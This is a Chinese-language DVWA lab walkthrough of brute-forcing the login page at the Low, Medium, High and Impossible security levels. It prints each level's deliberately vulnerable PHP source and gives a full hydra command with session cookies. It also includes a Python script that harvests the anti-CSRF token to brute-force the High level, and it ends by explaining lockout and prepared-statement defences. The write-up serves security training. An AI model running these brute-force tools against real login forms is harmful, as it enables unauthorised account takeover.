Loading... # 1、目标 基于白盒测试方法,爆破合法账户完成登录。 ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1669811381.png) # 2、级别 Low 关键代码: ```php Brute Force Source vulnerabilities/brute/source/low.php <?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 关键信息: * 使用的是 GET 方法,密码经过哈希再查表 * sql 查询存在注入点 * 没有对抗爆破的手段 * 成功登陆会显示 Welcome 串 这里不管注入,只尝试爆破。选择 username 和 password 两个位置,Acctak type 选择 Cluster bomb: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/373746110.png) 字典从 https://github.com/TheKingOfDuck/fuzzDicts 里选 username 和 password 的 top100,共爆破 10000 次: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/731447986.png) 标记带有 Welcome 串的回应: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3337019332.png) 爆破成功,耗时 2 分钟左右,得 username=admin,password=password: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2824842098.png) 验证通过: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2835996972.png) # 3、级别 Medium 关键代码: ```php <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 关键信息: * 使用`mysqli_real_escape_string()` 对抗 sql 注入 * `sleep(2)` 对抗爆破 [mysqli_real_escape_string()](https://www.php.net/manual/zh/mysqli.real-escape-string.php) 的作用是转义 sql 语句中的特殊字符,如: ```php $username = "admin'888"; $safe_username = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $username); echo "$username<br />"; echo "$safe_username"; ``` 输出: ```shell admin'888 admin\'888 ``` 转义后的 `\'` 无法闭合单引号,因此能够对抗注入。 ## 3.1、BurpSuite 爆破 而添加 `sleep(2)` 后,在登陆失败的情况下需要等待 2 秒才能收到服务器回应,增加了爆破的时间成本。继续使用上述方法进行爆破,并发数选择默认的 10,爆破过程十分缓慢,总耗时20分钟左右: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/166925449.png) 现实攻击发生时,爆破字典一般会非常大,这时候还盲目对抗 sleep(2) 是不可取的,往往还需要结合其它手段,缩小字典集,压缩爆破时间成本。 ## 3.2、hydra 爆破 进一步地,因为只在登录失败的情况下才会 sleep(2),所以如果登录某一个账号时没有在短时间内得到响应,那么可以认为这个账号是非法的,直接尝试下一次爆破即可。BurpSuite 没有提供这个功能,我们可以使用 [hydra](https://www.kali.org/tools/hydra/) 工具,这是一个非常强大的专职爆破的工具。 hydra 在 kali 系统上已经配置好,我们直接使用就好。首先确认一下请求头: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/3236410745.png) 关键信息: * 爆破目标:http://192.168.222.138/dvwa/vulnerabilities/brute/ * 使用 GET 方法提交 form 表单,3 个参数为:username=123&password=213&Login=Login * 带有 Cookie 为:security=medium; PHPSESSID=4aed1lkd84hlvg3uqq3licnsdi 在服务器维护的 session 生效期间,上述 cookie 值都不会改变。后面我们爆破是直接使用该值即可。 hydra 强大的一点就是它支持许多服务模块,针对不同的模块都有其相应的额外参数,参考: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-3eb08e46bb29bebfac5b4cc6960d8e7912" aria-expanded="true"><div class="accordion-toggle"><span>hydra -U http-get-form</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-3eb08e46bb29bebfac5b4cc6960d8e7912" class="collapse collapse-content"><p></p> ```shell ┌──(kali㉿kali)-[~] └─$ hydra -U http-get-form 255 ⨯ Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-16 13:23:00 Help for module http-get-form: ============================================================================ Module http-get-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ":" separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with "\:", but do not escape a "\" with "\\".) Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with url-encoded (resp. base64-encoded) usernames and passwords being replaced in the "^USER^" (resp. "^USER64^") and "^PASS^" (resp. "^PASS64^") placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by "F=", successful condition login check must be preceded by "S=". This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: (c|C)=/page/uri to define a different page to gather initial cookies from (g|G)= skip pre-requests - only use this when no pre-cookies are required (h|H)=My-Hdr\: foo to send a user defined HTTP header with each request ^USER[64]^ and ^PASS[64]^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (\). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators. Examples: "/login.php:user=^USER^&pass=^PASS^:incorrect" "/login.php:user=^USER64^&pass=^PASS64^&colon=colon\:escape:S=authlog=.*success" "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed" "/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^:H=User-Agent\: wget" "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb" ``` <p></p></div></div></div> 于是使用命令行形式的 hydra,构造命令为: ```SHELL hydra -L /home/kali/Desktop/fuzzDicts/userNameDict/top100.txt -P /home/kali/Desktop/fuzzDicts/passwordDict/top100.txt -I -vV -f -w 1 -K 192.168.222.138 http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login#:S=Welcome:H=Cookie\: security=medium; PHPSESSID=4aed1lkd84hlvg3uqq3licnsdi" ``` 用户名和密码的组合是和 Burpsuite 的 Cluster bomb 一样的笛卡尔乘积,关键信息如下: * -f:爆破成功一次即终止爆破 * -w 1:连接超过 1 秒即超时 * http-get-form:指定服务模块 * S=Wlecome:指定登录成功的响应页面中出现的字符串 # 4、级别 High 关键代码: ```php <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 相对 Medium 级别,有三个变化: * 使用 stripslashes() 进一步对抗 sql 注入 * 使用 sleep( rand( 0, 3 ) ); 进一步对抗爆破 * 使用 checkToken() 及 generateSessionToken(); 对抗 CSRF 攻击 stripslashes() 用于去除字符串中出现的转义反斜杠,如: ```php $user = "123\'456"; $user_stripslashes = stripslashes( $user ); echo "$user<br />"; echo "$user_stripslashes"; ``` 则输出: ```shell 123\'456 123'456 ``` 这个函数其实和 magic_quotes_gpc 开关有关,但在 php>=5.4 上面该开关默认关闭。这里我的 php=7.3.4,开关默认是关闭的,而且代码中没有 addslashes,那其实上不需要调 stripslashes 了。否则在开关关闭的情况下调了 stripslashes,后面如果没有调 mysqli_real_escape_string(),那就弄巧成拙了。 sleep 一个随机时间后,攻击者更难以区分一次攻击是否失败,但相比 sleep(2) 没有关键性的安全性提升。 最关键的是页面调用了 generateSessionToken(),该函数会在页面的 form 表单中添加一个隐藏的 user_token 项: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/1225383871.png) 由此每次提交时都会多一个 user_token 参数: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/2581571668.png) 因为每次连接都会调一次 generateSessionToken(),所以每次连接的 user_token 都是不一样的,这时候简单的重放爆破就行不通了。 编写 python 脚本,每次从响应页面中提取得到 user_token,用作下一次爆破: ```python # coding=utf-8 from bs4 import BeautifulSoup import urllib.request import time USERNAME_DICT = r"C:\Users\plus\Desktop\fuzzDicts\userNameDict\top100.txt" PASSWORD_DICT = r"C:\Users\plus\Desktop\fuzzDicts\passwordDict\top100.txt" HEADER = { 'Host': '127.0.0.1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0', 'Accept-Encoding': 'gzip, deflate', 'Cookie': 'security=high; PHPSESSID=d7pre74f8qfaivgn71mkvahd86' } URL_TEMPLATE = "http://127.0.0.1/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#" SUCC_STRING = b"Welcome" USER_TOKEN = "" def send_request_and_get_token(request_url): global HEADER, USER_TOKEN req = urllib.request.Request(url=request_url, headers=HEADER) response = urllib.request.urlopen(req) content = response.read() soup = BeautifulSoup(content, "html.parser") USER_TOKEN = soup.select('input[name="user_token"]')[0].get('value') if SUCC_STRING in content: return True else: return False def main(): # 初始化token send_request_and_get_token(URL_TEMPLATE) with open(USERNAME_DICT) as fu: username_list = fu.readlines() with open(PASSWORD_DICT) as fp: password_list = fp.readlines() turn = 0 for username in username_list: for password in password_list: request_url = URL_TEMPLATE.format(username.strip(), password.strip(), USER_TOKEN) print(turn, request_url) if send_request_and_get_token(request_url): print("Login succ!") return turn += 1 if __name__ == '__main__': start_time = time.time() main() end_time = time.time() print("Totally cost %0.2f" % (end_time - start_time)) ``` 爆破结果: ![图片.png](http://47.117.131.13/usr/uploads/2022/03/902731492.png) # 5、级别 Impossible 关键代码: ```php <?php if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Default values $total_failed_login = 3; $lockout_time = 15; $account_locked = false; // Check the database (Check user information) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; echo "<img src=\"{$avatar}\" />"; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 相较于级别 High,改动在于: * 失败 sleep 时间变长 * 使用 PDO 接口查询数据库,对查询字符串做预处理 * 做最大登录失败次数限制,超过则指定时间内锁定账号,无法登录 使用 PDO 预处理进行查询,在查询时会传递真实的参数,参数值无法影响查询语句。注入手段彻底失效。 ```php // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); ``` 在数据库中增加 failed_login 及 last_login 属性,针对某一个 username,每次登陆失败则该用户的 failed_login+1,超过最大失败限制次数则锁定账户无法登录。增加锁账户逻辑后,只要逻辑本身没有可以绕过的漏洞,爆破就彻底失效了。 ```php $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); ``` # 6、总结 从安全性 Low 到 Impossible,增强安全性的思路总结为: 对抗爆破: * 登录失败时,sleep 随机时间再响应,增加爆破时间成本,增加失败登录的识别难度 * 页面插入 user_token,增加爆破门槛,同时可对抗 CSRF * 做最大登录失败次数限制,超过则锁账户,彻底对抗爆破 对抗注入: * 使用 mysqli_real_escape_string 及 stripslashes 等方法过滤用户传参,增加注入难度 * 使用 PDO 预处理方式查询数据库,彻底对抗注入 --- 参考: [穷举篇——常用的穷举方式](https://www.freebuf.com/articles/web/265477.html) 最后修改:2022 年 03 月 22 日 01 : 02 AM © 允许规范转载